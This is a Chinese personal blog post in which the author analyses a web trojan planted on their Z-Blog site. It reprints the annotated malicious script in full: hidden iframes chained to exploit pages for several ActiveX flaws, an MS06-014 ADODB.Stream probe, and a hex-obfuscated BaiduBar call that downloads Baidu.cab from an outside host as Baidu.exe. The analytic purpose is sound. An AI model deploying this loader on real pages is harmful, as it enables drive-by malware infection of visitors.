always there for you

善于生活,善于学习,这是我和你的目标.

« 进程注入的研究与实现网马(原理)及制作全过程 »

解析最近的网页木马

 

     今天突然想起上次的木马还没有研究下(详情请看: [Z-blog被挂马了] )!.

     打开news.htm,我们一点一点来分析,发现都是利用最近的第三方组件的漏洞!...    

IERPCtl.IERPCtl.1 realplayer的漏洞
MPS.StormPlayer 暴风影音的漏洞
POWERPLAYER.PowerPlayerCtrl.1 POWERPLAYER的漏洞
GLCHAT.GLChatCtrl.1 联众游戏聊天室组件漏洞洞
DPClient.Vod 迅雷漏洞
BaiduBar.Tool
百度超级搜霸漏洞

    第一行是:

    <script>window.onerror=function(){return true;}</script>

    //这是把JS错误给屏蔽掉,来达到隐藏自己的目的!.

    以下是正文了,为了方便大家观看,我进行了排版和注释!.

<script>
window.defaultStatus="枨圜";

    //设置状态栏的文字

try

{
    var e;
    var ado=(document.createElement("object"));

    var kav="\x32\x30\x30\x38\x30\x33\x32\x39";   
     //进行了16进制加密,解密后为20080329
    //晕.记着那天的日期,关于解密,不会的请到最下方查看

    ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
    var as=ado.createobject("Adodb.Stream","")

    //是MS06-014漏洞[Microsoft Data Access Components (MDAC) 功能中的漏洞可能允许执行代码],利用ado.stream对象生成一个可执行文件,再用shell调用可执行文件达到病毒植入的目的

}
catch(e){};
finally

{
    //如果没有报错
    if (e!="[object Error]")
    {
          //晕.又来.下面还有好几个.我都下下来.看下.其中只有"xl.htm"没有下下来
           document.write('<iframe style=display:none src="06014.htm"></iframe>')
    }
    //如果报错
    else
    {
           try
           { 
                var f;
                var thunder=new ActiveXObject("DPClient.Vod");    
                //上网搜了下DPClient.Vod是迅雷的漏洞
           }
           catch(f){};
           finally
           { 
                   //如果创建迅雷组件没有出错
                   if (f!="[object Error]")
                   {
                        document.write('<iframe style=display:none src="xl.htm"></iframe>')
                   }
           }

          try
          {
                 var g;
                 var glworld=new ActiveXObject("GLCHAT.GLChatCtrl.1");
                 //GLCHAT.GLChatCtrl.1 联众游戏聊天室组件漏洞
          }
          catch(g){};
          finally
          {
                  //如果创建联众游戏聊天室组件没有出错
                  if (g!="[object Error]")
                  {
                         document.write('<iframe style=display:none src="lz.htm"></iframe>')
                  }
          }

         try
         {
                 var h;
                 var storm=new ActiveXObject("MPS.StormPlayer.1");
                 //MPS.StormPlayer 暴风影音的漏洞,下面我就不解释了
         }
         catch(h){};
         finally
         {
                 if (h!="[object Error]")
                 {
                         document.write('<iframe style=display:none src="bfyy.htm"></iframe>')
                 }
         }

 
         try
         {
                 var i;
                 var real=new ActiveXObject("IERPCtl.IERPCtl.1");
                 //IERPCtl.IERPCtl.1 realplayer的漏洞
         }
         catch(i){};
         finally
         {
                 if (i!="[object Error]")
                 {
                       document.write('<iframe style=display:none src="real17.htm"></iframe>')
                       document.write('<iframe style=display:none src="real2.htm"></iframe>')
                 }
         }

         try
         {
                   var j;
                   var Baidu=new ActiveXObject("\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c");
                   //解码后为BaiduBar.Tool -很明显这是百度超级搜霸漏洞
         }
         catch(j){};
         finally
         {
                    if (j!="[object Error]")
                    {
 Baidu["\x44\x6c\x6f\x61\x64\x44\x53"]("http://www.1tsun.cn/dir/index_pic/Baidu.cab", "\x42\x61\x69\x64\x75\x2e\x65\x78\x65", 0)
 //第一个参数为:DloadDS  第三个参数为:Baidu.exe
                    }
         }
        
        //如果都创建失败
         if (f=="[object Error]" && g=="[object Error]" && h=="[object Error]" && i=="[object Error]" && j=="[object Error]")
         {
                      location.replace("about:blank");
                      //replace 方法,该方法通过指定URL替换当前缓存在历史里(客户端)的项目,因此当使用replace方法之后,你不能通过“前    
                     //进”和“后退”来访问已经被替换的URL。

         }
   }
}
/*Extreme*/
</script>

<!--附录-->
1.解密
     ○ 打开UltraEdit-32
     ○ 把/x32这样的粘贴进去
     ○ 点击上方的替换工具替换所有的"/x"为"%"

     ○ 点击下方的HTML解码工具解码

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

日历

最新评论及回复

最近发表

Copyright www.alwaysthere.com.cn . Some Rights Reserved.

              

Powered By Z-Blog 1.8 Devo Build 80201